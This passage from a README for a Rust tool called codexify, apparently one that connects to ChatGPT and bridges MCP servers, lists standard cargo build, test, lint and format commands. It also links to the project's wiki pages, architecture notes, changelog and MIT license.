cargo build --release                       # optimized binary at target/release/codexify
cargo test                                  # run the test suite
cargo clippy --all-targets                  # lints
cargo fmt                                    # format

The design and module layout are documented in docs/ARCHITECTURE.md.

Documentation

• Wiki — the end-user guide, from arguments to operational flow. Good starting points:
  • Quick Start · Installation · Connecting to ChatGPT
  • CLI Reference · Configuration · Tools Reference
  • How It Works · Security Model · Multi-Project Mode · Bridging MCP Servers
  • Troubleshooting · FAQ
• docs/ARCHITECTURE.md — internal design and module layout, for contributors.
• CHANGELOG.md — release history.

License

MIT - see LICENSE.